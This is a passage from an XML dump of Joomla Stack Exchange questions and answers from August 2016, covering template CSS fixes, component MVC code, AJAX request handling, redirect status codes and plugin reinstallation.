3.0" />
  <row Id="17472" PostTypeId="1" CreationDate="2016-08-11T15:09:30.953" Score="0" ViewCount="229" Body="&lt;p&gt;My website is Joomla 3.5. I use Protostar Template, but in mobile version it shows the whole right modules moved to the bottom with white space. How can I fix for this? I am very bad at coding. Thank you very much. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/n17lb.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/n17lb.jpg&quot; alt=&quot;First Page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DgxYc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DgxYc.jpg&quot; alt=&quot;Roll Down&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8646" LastEditorUserId="8646" LastEditDate="2016-08-11T15:22:08.017" LastActivityDate="2016-11-16T16:36:39.930" Title="Protostar Template makes mobile version right module moved to the bottom and shows white space" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17473" PostTypeId="1" CreationDate="2016-08-11T15:10:39.430" Score="2" ViewCount="83" Body="&lt;p&gt;i'm using jch plugin to speed up my site. but i have some problems configuring it. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;there is a piece of inline js code that keeps changing in js file that jch plugin creates. but this part isn't in the code parts that the plugin offers to exclude. and also the module that creates this part of js code, isn't there to exclude. what should i do?&#xA;there are 2 code part offered by jch plg that are similar to these 2 (similar at the beginning of the code)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when i enable &quot;Sprite Generator&quot;, total page size of my site increases.&#xA; how should i solve this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;sometimes the site opens in mobile view on desktop :/  wierrrrrd&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;my site address: www.farafan-market.com&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="8738" LastEditDate="2016-08-11T15:15:27.877" LastActivityDate="2018-11-10T00:03:10.570" Title="problem in excluding changing js code parts in jch plugin" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17474" PostTypeId="1" AcceptedAnswerId="17478" CreationDate="2016-08-11T16:54:12.607" Score="0" ViewCount="220" Body="&lt;p&gt;&lt;strong&gt;Context (Long Story Short):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a PHP script and the $_POST variable to handle certain ajax POST requests from a view template. It needs access to database connector classes which can be accessed within controller.php, or from the associated view.html.php view class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Short story long (ts;dr):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current problem is that I can't include the files within my script because of the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The solution I thought of was to make a separate connector class which the view class can give its instance. Then the POST request handling script can fetch the instance from the connector class, since it doesn't need the restricted access line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically: &lt;code&gt;ViewClass -&amp;gt; InstanceConnector &amp;lt;- -&amp;gt; requestHandler.php &amp;lt;- AJAX&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is because the script is well... a script, it can't store variables outside of its own run-time, so the InstanceConnector class needs to store a singleton reference to itself for the script to access. &lt;em&gt;Which I know is evil for polluting the global namespace...&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is mainly a general concern than a direct question. I'm assuming there is a Joomla framework in place for doing the requests (Although JRequest seems to be deprecated). However I could see other situations where this problem could come up... not being able to pass around references because of the restricted access. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't noticed, I am quite new both to Joomla! and full stack dev, so any veteran advice would be greatly appreciated. Has anyone else experienced related issues? I would like to stay within the MVC pattern as best I can and I have a sneaking suspicion that might not be what I am doing...&lt;/p&gt;&#xA;" OwnerUserId="8858" LastActivityDate="2016-08-11T23:01:55.197" Title="Restricted direct access creates problems passing references between files" Tags="|joomla-3.x|php|component|ajax|mvc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17475" PostTypeId="1" CreationDate="2016-08-11T17:56:28.530" Score="3" ViewCount="450" Body="&lt;p&gt;After i follow the Joomla &quot;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_ACL&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component&lt;/a&gt;&quot; document until step 15- &quot;Adding ACL&quot; everything works. Then I tried add a new view &quot;category&quot;, but it did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In admin fields folder I created a hellocategory.php&#xA;most code same with helloword,just change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected $type = 'HelloCategory';&#xA;&#xA;/**&#xA; * Method to get a list of options for a list input.&#xA; *&#xA; * @return  array  An array of JHtml options.&#xA; */&#xA;protected function getOptions()&#xA;{&#xA;    $db    = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    // custom&#xA;    $query-&amp;gt;select('#__categories.id as id,#__categories.title as category,#__categories.extension as exten');&#xA;    $query-&amp;gt;from('#__categories');  &#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('extension') . ' LIKE '. $db-&amp;gt;quote('com_helloworld'));&#xA;    // end custom&#xA;    $db-&amp;gt;setQuery((string) $query);&#xA;    $messages = $db-&amp;gt;loadObjectList();&#xA;    $options  = array();&#xA;    if ($messages)&#xA;    {&#xA;        foreach ($messages as $message)&#xA;        {&#xA;            $options[] = JHtml::_('select.option', $message-&amp;gt;category);&#xA;        }&#xA;    }&#xA;&#xA;    $options = array_merge(parent::getOptions(), $options);&#xA;&#xA;    return $options;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldViewCategory extends JViewLegacy&#xA;{&#xA;    /**&#xA;     * Display the Hello World view&#xA;     *&#xA;     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.&#xA;     *&#xA;     * @return  void&#xA;     */&#xA;    function display($tpl = null)&#xA;    {&#xA;        // Assign data to the view&#xA;        $category = $this-&amp;gt;get('Item');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        // Display the view&#xA;        parent::display($tpl);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;default.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;Category&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;category&amp;lt;/message&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&amp;lt;fields&#xA;        name=&quot;request&quot;&#xA;        addfieldpath=&quot;/administrator/components/com_helloworld/models/fields&quot;&#xA;        &amp;gt;&#xA;    &amp;lt;fieldset name=&quot;request&quot;&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&quot;id&quot;&#xA;                type=&quot;hellocategory&quot;&#xA;                label=&quot;COM_UNOFD_UNOFD_FIELD_GREETING_LABEL&quot;&#xA;                description=&quot;COM_UNOFD_UNOFD_FIELD_GREETING_DESC&quot;&#xA;                /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php var_dump($category); ?&amp;gt;&#xA;&#xA;output is Null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Admin Menu works,but frontend can't get any items in that category data,&#xA;is there any about develop single category view document or sample online?&#xA;i tried google for solution four days,but still no idea, or the only way is get  data from database?&#xA;Many Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;var_dump($this)will output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    object(HelloWorldViewCategory)#223 (15) { [&quot;_name&quot;:protected]=&amp;gt; string(8) &quot;category&quot; [&quot;_models&quot;:protected]=&amp;gt; array(0) { } [&quot;_basePath&quot;:protected]=&amp;gt; &#xA;&#xA;string(55) &quot;/var/www/clients/client0/web11/web/components/com_helloworld&quot; [&quot;_defaultModel&quot;:protected]=&amp;gt; NULL [&quot;_layout&quot;:protected]=&amp;gt; string(7) &quot;default&quot; [&quot;_layoutExt&quot;:protected]=&amp;gt; string(3) &quot;php&quot; [&quot;_layoutTemplate&quot;:protected]=&amp;gt; string(1) &quot;_&quot; [&quot;_path&quot;:protected]=&amp;gt; array(2) { [&quot;template&quot;]=&amp;gt; array(2) { [0]=&amp;gt;&#xA;&#xA; string(79) &quot;/var/www/clients/client0/web11/web/templates/protostar/html/com_helloworld/category/&quot;  bla bla bla....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8859" LastEditorUserId="2324" LastEditDate="2017-12-06T14:39:26.250" LastActivityDate="2017-12-06T14:39:26.250" Title="Joomla 3 helloworld component category" Tags="|joomla-3.x|component|category|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17476" PostTypeId="2" ParentId="17444" CreationDate="2016-08-11T19:56:22.377" Score="1" Body="&lt;p&gt;Open the following file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;templates/jp-x2/css/custom.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;    background-position: top center !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastEditorUserId="168" LastEditDate="2016-08-11T20:23:39.290" LastActivityDate="2016-08-11T20:23:39.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17477" PostTypeId="1" AcceptedAnswerId="17479" CreationDate="2016-08-11T22:32:41.360" Score="1" ViewCount="46" Body="&lt;p&gt;Now all of a sudden I have a weird issue.&#xA;For some reason, in the footer where you see 4 columns (those are all&#xA;Custom HTML modules in Joomla) - HELPFUL LINKS, NEWSLETTER, CONTACT US and&#xA;BUSINESS HOURS, under NEWSLETTER and BUSINESS HOURS the text is misaligned&#xA;and I can't get it back to normal. Tried to re-create the text in the&#xA;module. Doesn't help. Have no clue what that could be!&#xA;I'm attaching a print screen so you can see what I mean.&lt;/p&gt;&#xA;" OwnerUserId="7161" LastEditorUserId="3650" LastEditDate="2016-11-13T11:24:32.427" LastActivityDate="2016-11-13T11:24:32.427" Title="Text got all messed up (misaligned) in the footer" Tags="|joomla-3.x|css|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17478" PostTypeId="2" ParentId="17474" CreationDate="2016-08-11T23:01:55.197" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;Joomla's AJAX interface&lt;/a&gt;... (JRequest was actually a unified mechanism for data filtering etc of &lt;code&gt;post&lt;/code&gt; and &lt;code&gt;get&lt;/code&gt; requests…&lt;/li&gt;&#xA;&lt;li&gt;Never use raw globals (&lt;code&gt;$_POST&lt;/code&gt;, &lt;code&gt;$_GET&lt;/code&gt; etc) you leave yourself open to security problems... using Joomla's robust &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;JInput&lt;/a&gt; features to access values passsed in…&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;com_ajax&lt;/code&gt; started out &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;... and this was a &lt;a href=&quot;https://github.com/Joomla-Ajax-Interface/Ajax-Latest-Articles&quot; rel=&quot;nofollow&quot;&gt;good example&lt;/a&gt; at the time — I think it's still relevant.&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2016-08-11T23:01:55.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17479" PostTypeId="2" ParentId="17477" CreationDate="2016-08-11T23:02:23.783" Score="2" Body="&lt;p&gt;Very simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in file &lt;code&gt;/templates/jp-x2/css/custom.css&lt;/code&gt;&#xA;add following selector:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;.bottom-d-outer p {&lt;br&gt;&#xA;  margin: 0 0 9px;&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2016-08-11T23:02:23.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17480" PostTypeId="1" CreationDate="2016-08-12T05:34:01.540" Score="2" ViewCount="855" Body="&lt;p&gt;First of all, this is not the same question as can be found here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/10338/redirect-urls-using-redirect-component-or-htaccess&quot;&gt;(Redirect URLs using Redirect component or .htaccess)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to know is what HTTP Status Code (for e.g. 301, 302, 303, etc...) is by default for the Joomla's redirect component, or not being used at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read the official documentation &lt;a href=&quot;https://docs.joomla.org/Help36:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; but with no specific explanation about the matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another doc here:&lt;a href=&quot;https://docs.joomla.org/Creating_301_redirects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating_301_redirects&lt;/a&gt; suggests only a few details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If SEO is the main concern, then the Joomla's redirect component seems to be unusable.&lt;/p&gt;&#xA;" OwnerUserId="5694" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2016-12-14T15:38:48.723" Title="Joomla redirect with HTTP Status Code (redirect component vs .htaccess)" Tags="|.htaccess-configuration|seo|redirect|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17482" PostTypeId="1" CreationDate="2016-08-12T09:52:07.930" Score="0" ViewCount="5634" Body="&lt;p&gt;Let's say I need to create a simple page and for my links I want to use JRoute::_() in order to make them SEF or display ID of the current user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to achieve this? Joomla by default doesn't allow you to put any PHP code inside articles or custom modules. So the Joomla's &quot;right&quot; way seems to be to create installable modules which I can then call inside the article using &lt;code&gt;{loadmodule mymodule}&lt;/code&gt;, but what if I want to call JRoute::_() in 10 different links. It seems that I would need to create 10 different modules and call each inside &lt;code&gt;&amp;lt;a href=&quot;{loadmodule mymodule!}&quot;&amp;gt;link&amp;lt;/a&amp;gt;&lt;/code&gt; or for simplicity put all content of the article inside that installable module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both solutions are bad and that is why I think there are extensions like &lt;code&gt;Sourcer&lt;/code&gt; that allow you to put directly PHP code inside articles and modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is using 3rd party extensions the best practice? What are cons and pros? Why Joomla doesn't offer putting directly PHP code natively?&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-09-11T17:17:50.293" Title="What is the best way of using PHP code in Joomla's articles or modules?" Tags="|joomla-3.x|php|custom-module|best-practices|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17484" PostTypeId="1" CreationDate="2016-08-12T13:17:24.827" Score="1" ViewCount="920" Body="&lt;p&gt;I wanted to reinstall the plugins via the &quot;discover&quot; button, but they do not appear there at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any suggestions how I can reinstall the install-plugins manually without the discover-button?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much for your support in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I click on Extensions/Install - there is this message displayed:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;No installation plugin has been enabled. At least one must be enabled&#xA;  to be able to use the installer. Go to the Plugin Manager to enable&#xA;  the plugins.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But in the plugins manager there are absolutely no install-plugins to be found - nor in the &quot;discover&quot; folder&lt;/p&gt;&#xA;" OwnerUserId="8864" LastEditorUserId="115" LastEditDate="2016-09-13T01:14:32.090" LastActivityDate="2018-06-05T13:53:18.570" Title="After update to 3.6.2 no intall plugins are visible even not in &quot;discover&quot;" Tags="|joomla-3.x|plugin|installation|joomla-3.6|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17485" PostTypeId="2" ParentId="17482" CreationDate="2016-08-12T14:03:07.547" Score="0" Body="&lt;p&gt;You can &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow&quot;&gt;definitely&lt;/a&gt; put PHP code in custom modules (this example uses a helper.php file, but you can get as complicated as you need) - are you actually building your own custom module, or are you just overriding a core module's layout from your template's 'html' folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the latter, you can still use PHP code by inserting it under &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt; at the start of your html override file.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2016-08-12T14:03:07.547" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17486" PostTypeId="1" AcceptedAnswerId="17487" CreationDate="2016-08-12T14:05:29.487" Score="0" ViewCount="36" Body="&lt;p&gt;I wanted to make a background image being fully visible in all resolutions. It was suggested to me to use this code to achieve it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {background:none !important;}&#xA;.header-outer { background: #fff url(http://idevsky.com/images/1.jpg) no-repeat&#xA;center center;background-size: contain;width: 100vw;height: calc(100vw / 1.5);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does show the image the way I want, but there's an unwanted &quot;side-effect&quot; to it for some reason. Now I get a small horizontal scrolling. So my question is how to avoid it? Here's the site's URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://idevsky.com&quot; rel=&quot;nofollow&quot;&gt;http://idevsky.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-12T14:11:10.603" Title="How to get rid of horizontal scroling?" Tags="|css|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17487" PostTypeId="2" ParentId="17486" CreationDate="2016-08-12T14:11:10.603" Score="1" Body="&lt;p&gt;No need to contain the background image or set the width. Simply set the height of the element to the viewport height and then make the background &lt;code&gt;cover&lt;/code&gt; this area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header-outer {&#xA;    background: #fff url(http://idevsky.com/images/1.jpg) no-repeat center center;&#xA;    background-size: cover;&#xA;    height: 100vh;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-12T14:11:10.603" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="17492" PostTypeId="2" ParentId="17484" CreationDate="2016-08-12T15:01:30.447" Score="0" Body="&lt;p&gt;All the standard plugins are in the 'plugins' folder in the Joomla 3.6.2 .zip file, but if your install's gone that wrong they're not showing up I'd either test using another install as I mentioned above, or copy the entire Joomla zip over to your installed Joomla directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all the other extensions (modules, components etc?) showing up properly in their respective tabs and the 'Extension Manager', or are they missing as well? Could be a problem with your database.&lt;/p&gt;&#xA;" OwnerUserId="7064" LastActivityDate="2016-08-12T15:01:30.447" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17493" PostTypeId="2" ParentId="17475" CreationDate="2016-08-12T15:18:37.400" Score="1" Body="&lt;p&gt;Edit: Okay, now we have the bottom of your getOptions method(), the problem's in your view's display() method. $category is only available in the local scope of that method, you need to make it a class property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In display() change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = $this-&amp;gt;get('Item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;category = $this-&amp;gt;get('Item');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In default.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_dump($this-&amp;gt;category);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7064" LastEditorUserId="7064" LastEditDate="2016-08-12T18:20:21.367" LastActivityDate="2016-08-12T18:20:21.367" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17494" PostTypeId="2" ParentId="600" CreationDate="2016-08-12T16:05:26.980" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;More than simply learning DO's and DON'Ts my goal is to understand intention of Joomla designers for these directories.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What they intended can be found on &lt;a href=&quot;https://docs.joomla.org/Development_Best_Practices&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Development_Best_Practices&lt;/a&gt; under &lt;code&gt;Where should I place JavaScript, CSS, and Image files that belong to my Component?&lt;/code&gt; and &lt;code&gt;Where should I place files generated by my Component?&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of overriding all images, scripts, stylesheets generated by your components, should be included inside &lt;code&gt;media&lt;/code&gt; folder. But the interesting thing is that it also mentions about user files generated/uploaded thru your component. For &lt;code&gt;Permanent, web accessible&lt;/code&gt; files it says &lt;code&gt;Use a subdirectory of the media folder.&lt;/code&gt; And then &lt;code&gt;This applies to all files handled by your Component, including files your code generates and files the users of your component upload / generate.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They doesn't mention in this 'development best practices' guide anything about the &lt;code&gt;image&lt;/code&gt; folder, so I assume it's intended for non development stuff like uploading your images to use in the articles.&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2016-08-12T16:05:26.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17495" PostTypeId="2" ParentId="17482" CreationDate="2016-08-12T16:49:30.947" Score="1" Body="&lt;p&gt;For that, I use NoNumbers Sourcerer: &lt;a href=&quot;https://www.regularlabs.com/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;https://www.regularlabs.com/extensions/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-12T16:49:30.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17496" PostTypeId="1" AcceptedAnswerId="17512" CreationDate="2016-08-12T18:21:47.210" Score="0" ViewCount="280" Body="&lt;p&gt;I need to do a 'component' this component uses Joomla! com_users to login and then connect a external db the use a form for sql updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In first time I install Joomla! and develop a custom component (not using fabrik because I cant do CroosDB JOINS) but i feel Im not doing the things the best way.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I only use com_users for Joomla CMS&lt;/li&gt;&#xA;&lt;li&gt;I don't need any articles, modules, categories, templates, etc&lt;/li&gt;&#xA;&lt;li&gt;I don't need to install other any extensions&lt;/li&gt;&#xA;&lt;li&gt;I know how to connect a external db&lt;/li&gt;&#xA;&lt;li&gt;There is mandatory uses Joomla, Joomla CSM or Joomla Framework.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My app only uses com_users for login and then connect in other external db and execute CRUD on the external db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Why i should use Joomla CMS if nothing (except com_users) is useful for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I use Joomla Framework and then &quot;copy&quot; com_users and use it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm right when I say that my best option is to develop the &quot;component&quot; directly on Joomla Framework?**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already install Joomla Framework (an hour ago) but i can't find enough documentation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this question is for this section&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BR&lt;/p&gt;&#xA;" OwnerUserId="8860" LastEditorUserId="8860" LastEditDate="2016-08-13T21:47:42.357" LastActivityDate="2016-08-13T22:06:56.120" Title="Develop Joomla CMS Component vs Joomla Framework App questions" Tags="|joomla-api|joomla-framework-1.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17497" PostTypeId="2" ParentId="17484" CreationDate="2016-08-12T20:59:40.447" Score="1" Body="&lt;p&gt;You might want to try downloading fresh copy of Joomla 3.6.2, unzip on local, and manually upload the files from that folder.  Then try discover again.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-08-12T20:59:40.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17498" PostTypeId="1" AcceptedAnswerId="17499" CreationDate="2016-08-12T22:36:22.303" Score="0" ViewCount="43" Body="&lt;p&gt;I had a similar issue before in the footer, but it was solved when I used this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.bottom-d-outer p {&#xA;margin: 0 0 9px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I've noticed that I have the same issue in an article and I'm not sure how to solve it there too...&#xA;It's here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://kotkovski.com/ru/statya-na-russkom-ne-featured&quot; rel=&quot;nofollow&quot;&gt;https://kotkovski.com/ru/statya-na-russkom-ne-featured&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it in an article just below the big picture.&lt;/p&gt;&#xA;" OwnerUserId="7161" LastActivityDate="2016-08-12T22:50:05.327" Title="Text got all messed up (misaligned) in an article" Tags="|css|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17499" PostTypeId="2" ParentId="17498" CreationDate="2016-08-12T22:50:05.327" Score="2" Body="&lt;p&gt;I have no idea why, but your template has the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p, hr, dl, blockquote, pre, fieldset, figure {&#xA;    margin: -15px 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://kotkovski.com/templates/jp-x2/warp/css/base.css&quot; rel=&quot;nofollow&quot;&gt;https://kotkovski.com/templates/jp-x2/warp/css/base.css&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, it's setting a negative margin, therefore pushing each paragraph up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your template's &lt;strong&gt;custom.css&lt;/strong&gt; file near the top, add the following code to reset the margin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p {&#xA;    margin: 0 0 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-08-12T22:50:05.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
